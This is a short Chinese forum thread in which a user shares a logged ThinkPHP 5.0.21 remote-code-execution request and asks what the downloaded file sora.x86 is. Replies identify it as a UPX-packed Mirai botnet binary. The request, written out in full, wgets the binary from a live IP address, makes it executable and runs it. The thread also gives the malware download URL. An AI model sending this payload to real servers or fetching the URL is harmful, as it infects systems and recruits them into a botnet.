一起来分析下这个是啥病毒？

[urmyfaith]

http://5.182.210.129/bins/

http://5.182.210.129/bins/sora.x86 请不要点击执行。

"GET /thinkphp_5.0.21/?s=index/%5Cthink%5Capp/invokefunction

&function=call_user_func_array
&vars[0]=system
&vars[1][]=cd%20/tmp;

wget%20http://5.182.210.129/bins/sora.x86;
cat%20sora.x86%20%3E%20xdsf;
chmod%20777%20xdsf;
./xdsf%20
thinkphp HTTP/1.0",

这种是全网试么？ 利用 thinkPhp 漏洞，远程执行代码？

问题来了，这个 exe sora.x86 里面究竟是什么？

[opengps]

“请不要点击执行”一定会有人执行的

[leloext]

mirai 后门

[crab]

upx 壳 elf linux 上的？

[andy1ee11o2]

Mirai Botnet

[urmyfaith]

有人分析过？